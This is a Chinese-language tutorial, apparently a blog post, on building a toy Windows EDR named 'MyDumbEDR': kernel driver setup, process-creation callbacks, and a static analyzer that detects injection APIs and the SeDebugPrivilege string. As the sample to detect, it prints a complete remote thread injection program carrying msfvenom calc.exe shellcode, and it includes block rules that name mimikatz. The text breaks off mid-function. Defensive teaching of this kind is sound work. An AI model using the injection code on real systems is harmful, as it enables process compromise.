Contents
参考:
https://sensepost.com/blog/2024/sensecon-23-from-windows-drivers-to-an-almost-fully-working-edr/
环境搭建
前言:此处所说不一定正确,但是在本机成功运行了。
如果本机已经装过VS了,还是去虚拟机里面用新的环境吧,不同的SDK好像会出现奇奇怪怪的BUG,直接用虚拟机还快一点。
VS下载
想要编写的驱动运行在不同版本的Windows上,需要下载不同版本的VS。详见https://learn.microsoft.com/zh-cn/windows-hardware/drivers/other-wdk-downloads
我的虚拟机是Windows 10,使用winver查看详细的版本是19045.4651
根据上面链接的windows wdk环境搭建教程,win10 1903 用Enterprise 2019,安装Enterprise 2019就好。
SDK下载
根据windows教程,在安装VS的时候选择C++桌面开发就行
WDK安装
同样根据提示下载1903的WDK就行
下载之后,右键在详细信息里面确认一下版本是不是对的,这里好像有个BUG,1903版本不是1904的,要下2004的版本才是1904的
驱动编写
初始准备
上面的环境搞好之后,创建项目选择KMDF(Kenel Mode Driver Empty)
生成效果如下
然后在项目属性里面把spectre 缓解给关了
DebugPrintex 与过滤器
与普通的程序不同,驱动只能通过Debugprint和Windbg进行调试。
https://learn.microsoft.com/zh-cn/windows-hardware/drivers/ddi/wdm/nf-wdm-dbgprintex
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, “MyDumbEDR: Initializing the driver\n”);
第一个参数是设置筛选器的ID,第二个是信息的严重性,后续就是常规的printf参数了。
现在设置筛选器为DPFLTR_IHVDRIVER_ID,建个注册表
\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Debug Print Filter
设置DWORD的名称为IHVDRIVER,值设置为f就是1111。
第三个参数就是对应的偏移量,ERROR_LEVEL是0,表示1<<0,INFO_LEVEL是3表示1<<3。偏移之后且上对应的过滤器的值,就是注册表设置的,我现在设置IHVDRIVER为4,所以就是0100&0xffff,如果且出现最后不为0,就会显示在Dbg中显示对应的信息。
代码
在Source File里面加一个Driver.c内容如下
#include <Ntifs.h>
#include <ntddk.h>
#include <wdf.h>// Global variables
UNICODE_STRING DEVICE_NAME = RTL_CONSTANT_STRING(L”\\Device\\MyDumbEDR”); // Driver device name
UNICODE_STRING SYM_LINK = RTL_CONSTANT_STRING(L”\\??\\MyDumbEDR”); // Device symlinkvoid UnloadMyDumbEDR(_In_ PDRIVER_OBJECT DriverObject) {
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, “MyDumbEDR: Unloading routine called\n”);
// Delete the driver device
IoDeleteDevice(DriverObject->DeviceObject);
// Delete the symbolic link
IoDeleteSymbolicLink(&SYM_LINK);
}NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) {
// Prevent compiler error in level 4 warnings
UNREFERENCED_PARAMETER(RegistryPath);DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, “MyDumbEDR: Initializing the driver\n”);
// Variable that will store the output of WinAPI functions
NTSTATUS status;// Initializing a device object and creating it
PDEVICE_OBJECT DeviceObject;
UNICODE_STRING deviceName = DEVICE_NAME;
UNICODE_STRING symlinkName = SYM_LINK;
status = IoCreateDevice(
DriverObject, // Our driver object
0, // Extra bytes needed (we don’t need any)
&deviceName, // The device name
FILE_DEVICE_UNKNOWN, // The device type
0, // Device characteristics (none)
FALSE, // Sets the driver to not exclusive
&DeviceObject // Pointer in which is stored the result of IoCreateDevice
);if (!NT_SUCCESS(status)) {
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, “MyDumbEDR: Device 11111111111111creation failed\n”);
return status;
}// Creating the symlink that we will use to contact our driver
status = IoCreateSymbolicLink(
&symlinkName, // The symbolic link name
&deviceName // The device name
);if (!NT_SUCCESS(status)) {
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, “MyDumbEDR: Symlink creation failed\n”);
IoDeleteDevice(DeviceObject);
return status;
}// Setting the unload routine to execute
DriverObject->DriverUnload = UnloadMyDumbEDR;return status;
}
创建和启动驱动的命令
这里我是直接开机的时候F8把驱动签名校验关了
sc.exe create MyDumbEDR type=kernel binPath=C:\\Users\windev\Desktop\x64\Debug\MyDumbEDR.sys
sc.exe start MyDumbEDR
Dbg输出效果
接着来看看代码
首先是DriverEntry这个相当于普通C语言中的main函数,是所有驱动加载的入口。
DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath)
第一个是指向DriverObject的指针,包含了当前驱动的相关信息。
//0x150 bytes (sizeof)
struct _DRIVER_OBJECT
{
SHORT Type; //0x0
SHORT Size; //0x2
struct _DEVICE_OBJECT* DeviceObject; //0x8
ULONG Flags; //0x10
VOID* DriverStart; //0x18
ULONG DriverSize; //0x20
VOID* DriverSection; //0x28
struct _DRIVER_EXTENSION* DriverExtension; //0x30
struct _UNICODE_STRING DriverName; //0x38
struct _UNICODE_STRING* HardwareDatabase; //0x48
struct _FAST_IO_DISPATCH* FastIoDispatch; //0x50
LONG (*DriverInit)(struct _DRIVER_OBJECT* arg1, struct _UNICODE_STRING* arg2); //0x58
VOID (*DriverStartIo)(struct _DEVICE_OBJECT* arg1, struct _IRP* arg2); //0x60
VOID (*DriverUnload)(struct _DRIVER_OBJECT* arg1); //0x68
LONG (*MajorFunction[28])(struct _DEVICE_OBJECT* arg1, struct _IRP* arg2); //0x70
};
第二个参数是指向驱动参数的指针,一般在注册表HKLM:\SYSTEM\CurrentControlSet\Service
里面。
继续看后续代码,首先是IoCreateDevice函数。通过这个函数为驱动创建了一个Device设备,具体不了解但是需要注意的点是DeviceName这个参数。指的是当前驱动的名称,这里设置的是
\Device\MyDumbEDR。前面的\Dervice是NT设备名称的格式,所以实际上创建的驱动设备名称就是MyDumbEDR。通过Winobj64也可以发现驱动名称为MyDumbEDR
之后第二个函数是IoCreateSymbolicLink,创建一个符号链接与驱动设备绑定。这里的symbol名称为\\??\\MyDumbEDR。用户层与内核层的驱动通信就是通过symbol名称通信。
status = IoCreateSymbolicLink(
&symlinkName, // The symbolic link name
&deviceName // The device name
);
第三个就是设置驱动卸载时的回调函数。在回调函数中删除了,驱动设备与符号链接
DriverObject->DriverUnload = UnloadMyDumbEDR;
void UnloadMyDumbEDR(_In_ PDRIVER_OBJECT DriverObject) {
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, “MyDumbEDR: Unloading routine called\n”);
// Delete the driver device
IoDeleteDevice(DriverObject->DeviceObject);
// Delete the symbolic link
IoDeleteSymbolicLink(&SYM_LINK);
}
回调函数
微软为了保证系统的安全,设置了Patch Guard,定时监测内核中特定区域的完整性,如果被篡改就直接蓝屏。通过这种方式之前厂商使用SSDT Hook内核变得困难。微软提出了新的方式给安全厂商使用,那就是内核回调。通过设置不同的内核回调函数,安全厂商可以实现文件、注册表、线程、运行程序等许多地方的监控,每当程序运行对应的函数前,需要先执行回调函数。这几个是常见的回调函数
- PsSetCreateProcessNotifyRoutine: 监视进程创建
- PsSetLoadImageNotifyRoutine: DLL加载
- PsSetThreadCreateNotifyRoutine: 线程创建
- ObRegisterCallbacks: 打开线程、打开进程、打开桌面
- CmRegisterCallbacks: 监测注册表相关行为
- IoRegisterFsRegistrationChange: monitor the modification of a file
以PsSetCreateProcessNotifyRoutine为例查看如何设置回调:
NTSTATUS PsSetCreateProcessNotifyRoutine(
PCREATE_PROCESS_NOTIFY_ROUTINE NotifyRoutine, // Pointer to the function to execute when a process is created
BOOLEAN Remove // Whether the routine specified by NotifyRoutine should be added to or removed from the system's list of notification routines
);
第一个参数为指向回调函数的指针,第二个参数判断是否添加或者删除对应的回调函数。
对应的回调函数定义如下:
void PcreateProcessNotifyRoutine( [in] HANDLE ParentId, [in] HANDLE ProcessId, [in] BOOLEAN Create )
三个参数分别为父进程ID、当前进程ID、与当前这个进程是被创建(True)还是被删除(False)。
完整的代码修改为
#include <Ntifs.h>
#include <ntddk.h>
#include <wdf.h>// Global variables
UNICODE_STRING DEVICE_NAME = RTL_CONSTANT_STRING(L”\\Device\\MyDumbEDR”); // Driver device name
UNICODE_STRING SYM_LINK = RTL_CONSTANT_STRING(L”\\??\\MyDumbEDR”); // Device symlinkvoid UnloadMyDumbEDR(_In_ PDRIVER_OBJECT DriverObject) {
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, “MyDumbEDR: Unloading routine called\n”);
// Unset the callback
PsSetCreateProcessNotifyRoutineEx(CreateProcessNotifyRoutine, TRUE);
// Delete the driver device
IoDeleteDevice(DriverObject->DeviceObject);
// Delete the symbolic link
IoDeleteSymbolicLink(&SYM_LINK);
}void CreateProcessNotifyRoutine(HANDLE ppid, HANDLE pid, BOOLEAN create) {
if (create) {
PEPROCESS process = NULL;
PUNICODE_STRING processName = NULL;// Retrieve process ID
PsLookupProcessByProcessId(pid, &process);// Retrieve the process name from the EPROCESS structure
SeLocateProcessImageName(process, &processName);DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, “MyDumbEDR: %d (%wZ) launched.\n”, pid, processName);
}
else {
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, “MyDumbEDR: %d got killed.\n”, pid);
}
}NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) {
// Prevent compiler error in level 4 warnings
UNREFERENCED_PARAMETER(RegistryPath);DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, “MyDumbEDR: Initializing the driver\n”);
// Variable that will store the output of WinAPI functions
NTSTATUS status;// Initializing a device object and creating it
PDEVICE_OBJECT DeviceObject;
UNICODE_STRING deviceName = DEVICE_NAME;
UNICODE_STRING symlinkName = SYM_LINK;
status = IoCreateDevice(
DriverObject, // Our driver object
0, // Extra bytes needed (we don’t need any)
&deviceName, // The device name
FILE_DEVICE_UNKNOWN, // The device type
0, // Device characteristics (none)
FALSE, // Sets the driver to not exclusive
&DeviceObject // Pointer in which is stored the result of IoCreateDevice
);if (!NT_SUCCESS(status)) {
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, “MyDumbEDR: Device 11111111111111creation failed\n”);
return status;
}// Creating the symlink that we will use to contact our driver
status = IoCreateSymbolicLink(
&symlinkName, // The symbolic link name
&deviceName // The device name
);if (!NT_SUCCESS(status)) {
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, “MyDumbEDR: Symlink creation failed\n”);
IoDeleteDevice(DeviceObject);
return status;
}PsSetCreateProcessNotifyRoutine(CreateProcessNotifyRoutine, FALSE);
// Setting the unload routine to execute
DriverObject->DriverUnload = UnloadMyDumbEDR;return status;
}
回调函数设置了,每当有进程创建或者被删除就会输出进程名称
- void UnloadMyDumbEDR(_In_ PDRIVER_OBJECT DriverObject) {
- DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, “MyDumbEDR: Unloading routine called\n”);
- // Delete the driver device
- IoDeleteDevice(DriverObject->DeviceObject);
- // Delete the symbolic link
- IoDeleteSymbolicLink(&SYM_LINK);
- }
同时注意在UnloadEDR的回调中,设置了对应回调的删除。
PsSetCreateProcessNotifyRoutineEx(CreateProcessNotifyRoutine, TRUE);
现在的驱动只能监测进程的创建与删除,不能拦截进程是否创建。 拦截进程创建需要另外的函数
NTSTATUS PsSetCreateProcessNotifyRoutineEx(
PCREATE_PROCESS_NOTIFY_ROUTINE_EX NotifyRoutine, // Pointer to the PCreateProcessNotifyRoutineEx structure
BOOLEAN Remove // Whether or not we should add or remove the callback
);
这里的规则与PsSetCreateProcessNotifyRoutine类似,不同的点在回调函数上。
typedef struct _PS_CREATE_NOTIFY_INFO {
SIZE_T Size;
union {
ULONG Flags;
struct {
ULONG FileOpenNameAvailable : 1; //
ULONG IsSubsystemProcess : 1;
ULONG Reserved : 30;
};
};
HANDLE ParentProcessId; // Parent PID
CLIENT_ID CreatingThreadId; // Thread id
struct _FILE_OBJECT *FileObject;
PCUNICODE_STRING ImageFileName; // Name of the binary
PCUNICODE_STRING CommandLine; // Arguments passed to the binary
NTSTATUS CreationStatus; // This variable holds whether or not the process should be created
} PS_CREATE_NOTIFY_INFO, *PPS_CREATE_NOTIFY_INFO;
如果将最后的NTSTATUS设置为对应的错误代码,进程就不会被创建。 这里把代码改为
- #include <Ntifs.h>
- #include <ntddk.h>
- #include <wdf.h>
- // Global variables
- UNICODE_STRING DEVICE_NAME = RTL_CONSTANT_STRING(L“\\Device\\MyDumbEDR”); // Driver device name
- UNICODE_STRING SYM_LINK = RTL_CONSTANT_STRING(L“\\??\\MyDumbEDR”); // Device symlink
- void CreateProcessNotifyRoutine(PEPROCESS process, HANDLE pid, PPS_CREATE_NOTIFY_INFO createInfo) {
- UNREFERENCED_PARAMETER(process);
- UNREFERENCED_PARAMETER(pid);
- // Never forget this if check because if you don’t, you’ll end up crashing your Windows system ;P
- if (createInfo != NULL) {
- // Compare the command line of the launched process to the notepad string
- if (wcsstr(createInfo->CommandLine->Buffer, L“notepad”) != NULL) {
- DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, “MyDumbEDR: Process (%ws) allowed.\n”, createInfo->CommandLine->Buffer);
- // Process allowed
- createInfo->CreationStatus = STATUS_SUCCESS;
- }
- // Compare the command line of the launched process to the mimikatz string
- if (wcsstr(createInfo->CommandLine->Buffer, L“mimikatz”) != NULL) {
- DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, “MyDumbEDR: Process (%ws) denied.\n”, createInfo->CommandLine->Buffer);
- // Process denied
- createInfo->CreationStatus = STATUS_ACCESS_DENIED;
- }
- }
- }
- void UnloadMyDumbEDR(_In_ PDRIVER_OBJECT DriverObject) {
- DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, “MyDumbEDR: Unloading routine called\n”);
- PsSetCreateProcessNotifyRoutineEx(CreateProcessNotifyRoutine, TRUE);
- // Delete the driver device
- IoDeleteDevice(DriverObject->DeviceObject);
- // Delete the symbolic link
- IoDeleteSymbolicLink(&SYM_LINK);
- }
- NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) {
- // Prevent compiler error in level 4 warnings
- UNREFERENCED_PARAMETER(RegistryPath);
- DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, “MyDumbEDR: Initializing the driver\n”);
- // Variable that will store the output of WinAPI functions
- NTSTATUS status;
- // Initializing a device object and creating it
- PDEVICE_OBJECT DeviceObject;
- UNICODE_STRING deviceName = DEVICE_NAME;
- UNICODE_STRING symlinkName = SYM_LINK;
- status = IoCreateDevice(
- DriverObject, // Our driver object
- 0, // Extra bytes needed (we don’t need any)
- &deviceName, // The device name
- FILE_DEVICE_UNKNOWN, // The device type
- 0, // Device characteristics (none)
- FALSE, // Sets the driver to not exclusive
- &DeviceObject // Pointer in which is stored the result of IoCreateDevice
- );
- if (!NT_SUCCESS(status)) {
- DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, “MyDumbEDR: Device 11111111111111creation failed\n”);
- return status;
- }
- // Creating the symlink that we will use to contact our driver
- status = IoCreateSymbolicLink(
- &symlinkName, // The symbolic link name
- &deviceName // The device name
- );
- if (!NT_SUCCESS(status)) {
- DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, “MyDumbEDR: Symlink creation failed\n”);
- IoDeleteDevice(DeviceObject);
- return status;
- }
- PsSetCreateProcessNotifyRoutineEx(CreateProcessNotifyRoutine, FALSE);
- // Setting the unload routine to execute
- DriverObject->DriverUnload = UnloadMyDumbEDR;
- return status;
- }
IMAGE_DLLCHARACTERISTICS_FORCE_INTEGRITY 这个头部。当windows检查到程序存在这个头部后,在运行或者加载前检查对应的数字签名,如果没有签名不会加载。



升级驱动
现在升级一下这个驱动,让它更加接近真实的EDR,偷张图
E
跟刚刚别编写的EDR,在线程创建的过程中使用了Dll 注入,然后判断是否存在问题,在让EDR判断这个进程是否应该被启动。接着以下面这段远程注入代码举例,如何检查。
- int get_process_id_from_szexefile(wchar_t processName[]) {
- PROCESSENTRY32 entry = { 0 };
- entry.dwSize = sizeof(PROCESSENTRY32);
- HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
- if (Process32First(snapshot, &entry) == TRUE) {
- while (Process32Next(snapshot, &entry) == TRUE) {
- if (wcscmp(entry.szExeFile, processName) == 0) {
- return entry.th32ProcessID;
- }
- }
- }
- else {
- printf(“CreateToolhelper32Snapshot failed : %d\n”, GetLastError());
- exit(1);
- }
- printf(“Process not found.\n”);
- exit(1);
- }
- void check_if_se_debug_privilege_is_enabled() {
- HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());
- HANDLE hToken;
- OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
- DWORD cbSize;
- GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &cbSize);
- PTOKEN_MANDATORY_LABEL pTIL = (PTOKEN_MANDATORY_LABEL)LocalAlloc(0, cbSize);
- GetTokenInformation(hToken, TokenIntegrityLevel, pTIL, cbSize, &cbSize);
- DWORD current_process_integrity = (DWORD)*GetSidSubAuthority(pTIL->Label.Sid, (DWORD)(UCHAR)(*GetSidSubAuthorityCount(pTIL->Label.Sid) – 1));
- TOKEN_PRIVILEGES tp;
- LUID luidSeDebugPrivilege;
- if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luidSeDebugPrivilege) == 0) {
- printf(“SeDebugPrivilege not owned\n”);
- }
- else {
- printf(“SeDebugPrivilege owned\n”);
- }
- tp.PrivilegeCount = 1;
- tp.Privileges[0].Luid = luidSeDebugPrivilege;
- tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
- if (AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL) == 0) {
- printf(“SeDebugPrivilege adjust token failed: %d\n”, GetLastError());
- }
- else {
- printf(“SeDebugPrivilege enabled.\n”);
- }
- CloseHandle(hProcess);
- CloseHandle(hToken);
- }
- int main() {
- printf(“Launching remote shellcode injection\n”);
- // DO NOT REMOVE
- // When loading a DLL remotely, its content won’t apply until all DLL’s are loaded
- // For some reason it leads to a race condition which is not part of the challenge
- // Hence do not remove the Sleep (even if it’d allow you bypassing the hooks)
- Sleep(5000);
- // DO NOT REMOVE
- check_if_se_debug_privilege_is_enabled();
- wchar_t processName[] = L”notepad.exe”;
- int processId = get_process_id_from_szexefile(processName);
- printf(“Injecting to PID: %i\n”, processId);
- HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(processId));
- // msfvenom -p windows/x64/exec CMD=calc.exe -b “\x00\x0a\0d” -f c
- unsigned char shellcode[] =
- “\x48\x31\xc9\x48\x81\xe9\xdb\xff\xff\xff\x48\x8d\x05\xef\xff”
- “\xff\xff\x48\xbb\x33\xef\x18\x46\xf8\x06\x62\xef\x48\x31\x58”
- “\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xcf\xa7\x9b\xa2\x08\xee”
- “\xa2\xef\x33\xef\x59\x17\xb9\x56\x30\xbe\x65\xa7\x29\x94\x9d”
- “\x4e\xe9\xbd\x53\xa7\x93\x14\xe0\x4e\xe9\xbd\x13\xa7\x93\x34”
- “\xa8\x4e\x6d\x58\x79\xa5\x55\x77\x31\x4e\x53\x2f\x9f\xd3\x79”
- “\x3a\xfa\x2a\x42\xae\xf2\x26\x15\x07\xf9\xc7\x80\x02\x61\xae”
- “\x49\x0e\x73\x54\x42\x64\x71\xd3\x50\x47\x28\x8d\xe2\x67\x33”
- “\xef\x18\x0e\x7d\xc6\x16\x88\x7b\xee\xc8\x16\x73\x4e\x7a\xab”
- “\xb8\xaf\x38\x0f\xf9\xd6\x81\xb9\x7b\x10\xd1\x07\x73\x32\xea”
- “\xa7\x32\x39\x55\x77\x31\x4e\x53\x2f\x9f\xae\xd9\x8f\xf5\x47”
- “\x63\x2e\x0b\x0f\x6d\xb7\xb4\x05\x2e\xcb\x3b\xaa\x21\x97\x8d”
- “\xde\x3a\xab\xb8\xaf\x3c\x0f\xf9\xd6\x04\xae\xb8\xe3\x50\x02”
- “\x73\x46\x7e\xa6\x32\x3f\x59\xcd\xfc\x8e\x2a\xee\xe3\xae\x40”
- “\x07\xa0\x58\x3b\xb5\x72\xb7\x59\x1f\xb9\x5c\x2a\x6c\xdf\xcf”
- “\x59\x14\x07\xe6\x3a\xae\x6a\xb5\x50\xcd\xea\xef\x35\x10\xcc”
- “\x10\x45\x0e\x42\x07\x62\xef\x33\xef\x18\x46\xf8\x4e\xef\x62”
- “\x32\xee\x18\x46\xb9\xbc\x53\x64\x5c\x68\xe7\x93\x43\xf6\xd7”
- “\x4d\x65\xae\xa2\xe0\x6d\xbb\xff\x10\xe6\xa7\x9b\x82\xd0\x3a”
- “\x64\x93\x39\x6f\xe3\xa6\x8d\x03\xd9\xa8\x20\x9d\x77\x2c\xf8”
- “\x5f\x23\x66\xe9\x10\xcd\x05\xc2\x5a\x35\x86\x5d\x8b\x77\x31”
- “\x8b\x5a\x31\x96\x40\x9b\x7d\x2b\xcb\x34\x3e\x8c\x52\x83\x7b”
- “\x68\x9d\x7e\x07\xef”;
- printf(“VirtualAllocEx\n”);
- PVOID remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
- printf(“WriteProcessMemory\n”);
- WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof(shellcode), NULL);
- printf(“CreateRemoteThread\n”);
- HANDLE remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
- printf(“Congratz dude! The flag is MyDumbEDR{H4ckTH3W0rld}\n”);
- printf(“Expect more checks in the upcoming weeks ;)\n”);
- CloseHandle(processHandle);
- return 0;
- }
这个恶意程序通过远程线程注入,将启动计算器的shellcode注入到记事本中。为了检测这个,为EDR创建两个Ring3的Agent,通过管道与驱动通信。两个Agent分别做静态检查和动态检查。
静态分析
静态分析的Agent就检查三件事
- 程序是否签名
- 程序导入表中是否存在注入的三个函数
- 程序中是否出现 SeDebugPrivilege字符串
下面放上代码
- BOOL VerifyEmbeddedSignature(const wchar_t* binaryPath) {
- LONG lStatus;
- WINTRUST_FILE_INFO FileData;
- memset(&FileData, 0, sizeof(FileData));
- FileData.cbStruct = sizeof(WINTRUST_FILE_INFO);
- FileData.pcwszFilePath = binaryPath;
- FileData.hFile = NULL;
- FileData.pgKnownSubject = NULL;
- GUID WVTPolicyGUID = WINTRUST_ACTION_GENERIC_VERIFY_V2;
- WINTRUST_DATA WinTrustData;
- // Initializing necessary structures
- memset(&WinTrustData, 0, sizeof(WinTrustData));
- WinTrustData.cbStruct = sizeof(WinTrustData);
- WinTrustData.pPolicyCallbackData = NULL;
- WinTrustData.pSIPClientData = NULL;
- WinTrustData.dwUIChoice = WTD_UI_NONE;
- WinTrustData.fdwRevocationChecks = WTD_REVOKE_NONE;
- WinTrustData.dwUnionChoice = WTD_CHOICE_FILE;
- WinTrustData.dwStateAction = WTD_STATEACTION_VERIFY;
- WinTrustData.hWVTStateData = NULL;
- WinTrustData.pwszURLReference = NULL;
- WinTrustData.dwUIContext = 0;
- WinTrustData.pFile = &FileData;
- // WinVerifyTrust verifies signatures as specified by the GUID and Wintrust_Data.
- lStatus = WinVerifyTrust(NULL, &WVTPolicyGUID, &WinTrustData);
- BOOL isSigned;
- switch (lStatus) {
- // The file is signed and the signature was verified
- case ERROR_SUCCESS:
- isSigned = TRUE;
- break;
- // File is signed but the signature is not verified or is not trusted
- case TRUST_E_SUBJECT_FORM_UNKNOWN || TRUST_E_PROVIDER_UNKNOWN || TRUST_E_EXPLICIT_DISTRUST || CRYPT_E_SECURITY_SETTINGS || TRUST_E_SUBJECT_NOT_TRUSTED:
- isSigned = TRUE;
- break;
- // The file is not signed
- case TRUST_E_NOSIGNATURE:
- isSigned = FALSE;
- break;
- // Shouldn’t happen but hey may be!
- default:
- isSigned = FALSE;
- break;
- }
- // Any hWVTStateData must be released by a call with close.
- WinTrustData.dwStateAction = WTD_STATEACTION_CLOSE;
- WinVerifyTrust(NULL, &WVTPolicyGUID, &WinTrustData);
- return isSigned;
- }
- BOOL ListImportedFunctions(const wchar_t* binaryPath) {
- BOOL isOpenProcessPresent = FALSE;
- BOOL isVirtualAllocExPresent = FALSE;
- BOOL isWriteProcessMemoryPresent = FALSE;
- BOOL isCreateRemoteThreadPresent = FALSE;
- // Load the target binary so that we can parse its content
- HMODULE hModule = LoadLibraryEx(binaryPath, NULL, DONT_RESOLVE_DLL_REFERENCES);
- if (hModule != NULL) {
- // Get NT headers from the binary
- IMAGE_NT_HEADERS* ntHeaders = ImageNtHeader(hModule);
- if (ntHeaders != NULL) {
- // Locate the IAT
- IMAGE_IMPORT_DESCRIPTOR* importDesc = (IMAGE_IMPORT_DESCRIPTOR*)((BYTE*)hModule + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
- // Loop over the DLL’s
- while (importDesc->Name != 0) {
- const char* moduleName = (const char*)((BYTE*)hModule + importDesc->Name);
- // Loop over the functions of the DLL
- IMAGE_THUNK_DATA* thunk = (IMAGE_THUNK_DATA*)((BYTE*)hModule + importDesc->OriginalFirstThunk);
- while (thunk->u1.AddressOfData != 0) {
- if (thunk->u1.Ordinal & IMAGE_ORDINAL_FLAG) {
- // printf(“\tOrdinal: %llu\n”, IMAGE_ORDINAL(thunk->u1.Ordinal));
- }
- else {
- IMAGE_IMPORT_BY_NAME* importByName = (IMAGE_IMPORT_BY_NAME*)((BYTE*)hModule + thunk->u1.AddressOfData);
- // printf(“\tFunction: %s\n”, importByName->Name);
- // Checks if the following functions are used by the binary
- if (strcmp(“OpenProcess”, importByName->Name) == 0) {
- isOpenProcessPresent = TRUE;
- }
- if (strcmp(“VirtualAllocEx”, importByName->Name) == 0) {
- isVirtualAllocExPresent = TRUE;
- }
- if (strcmp(“WriteProcessMemory”, importByName->Name) == 0) {
- isWriteProcessMemoryPresent = TRUE;
- }
- if (strcmp(“CreateRemoteThread”, importByName->Name) == 0) {
- isCreateRemoteThreadPresent = TRUE;
- }
- }
- thunk++;
- }
- importDesc++;
- }
- FreeLibrary(hModule);
- }
- FreeLibrary(hModule);
- }
- if (isOpenProcessPresent && isVirtualAllocExPresent && isWriteProcessMemoryPresent && isCreateRemoteThreadPresent) {
- return TRUE;
- }
- else {
- return FALSE;
- }
- return FALSE;
- }
- BOOL lookForSeDebugPrivilegeString(const wchar_t* filename) {
- FILE* file;
- _wfopen_s(&file, filename, L“rb”);
- if (file != NULL) {
- fseek(file, 0, SEEK_END);
- long file_size = ftell(file);
- rewind(file);
- char* buffer = (char*)malloc(file_size);
- if (buffer != NULL) {
- if (fread(buffer, 1, file_size, file) == file_size) {
- const char* search_string = “SeDebugPrivilege”;
- size_t search_length = strlen(search_string);
- int i, j;
- int found = 0;
- for (i = 0; i <= file_size – search_length; i++) {
- for (j = 0; j < search_length; j++) {
- if (buffer[i + j] != search_string[j]) {
- break;
- }
- }
- if (j == search_length) {
- return TRUE;
- }
- }
- }
- free(buffer);
- }
- fclose(file);
- }
- return FALSE;
- }
- int main() {
- LPCWSTR pipeName = L“\\\\.\\pipe\\dumbedr-analyzer”;
- DWORD bytesRead = 0;
- wchar_t target_binary_file[MESSAGE_SIZE] = { 0 };
- printf(“Launching analyzer named pipe server\n”);
- // Creates a named pipe
- HANDLE hServerPipe = CreateNamedPipe(
- pipeName, // Pipe name to create
- PIPE_ACCESS_DUPLEX, // Whether the pipe is supposed to receive or send data (can be both)
- PIPE_TYPE_MESSAGE, // Pipe mode (whether or not the pipe is waiting for data)
- PIPE_UNLIMITED_INSTANCES, // Maximum number of instances from 1 to PIPE_UNLIMITED_INSTANCES
- MESSAGE_SIZE, // Number of bytes for output buffer
- MESSAGE_SIZE, // Number of bytes for input buffer
- 0, // Pipe timeout
- NULL // Security attributes (anonymous connection or may be needs credentials. )
- );
- while (TRUE) {
- // ConnectNamedPipe enables a named pipe server to start listening for incoming connections
- BOOL isPipeConnected = ConnectNamedPipe(
- hServerPipe, // Handle to the named pipe
- NULL // Whether or not the pipe supports overlapped operations
- );
- wchar_t target_binary_file[MESSAGE_SIZE] = { 0 };
- if (isPipeConnected) {
- // Read from the named pipe
- ReadFile(
- hServerPipe, // Handle to the named pipe
- &target_binary_file, // Target buffer where to stock the output
- MESSAGE_SIZE, // Size of the buffer
- &bytesRead, // Number of bytes read from ReadFile
- NULL // Whether or not the pipe supports overlapped operations
- );
- printf(“~> Received binary file %ws\n”, target_binary_file);
- int res = 0;
- BOOL isSeDebugPrivilegeStringPresent = lookForSeDebugPrivilegeString(target_binary_file);
- if (isSeDebugPrivilegeStringPresent == TRUE) {
- printf(“\t\033[31mFound SeDebugPrivilege string.\033[0m\n”);
- }
- else {
- printf(“\t\033[32mSeDebugPrivilege string not found.\033[0m\n”);
- }
- BOOL isDangerousFunctionsFound = ListImportedFunctions(target_binary_file);
- if (isDangerousFunctionsFound == TRUE) {
- printf(“\t\033[31mDangerous functions found.\033[0m\n”);
- }
- else {
- printf(“\t\033[32mNo dangerous functions found.\033[0m\n”);
- }
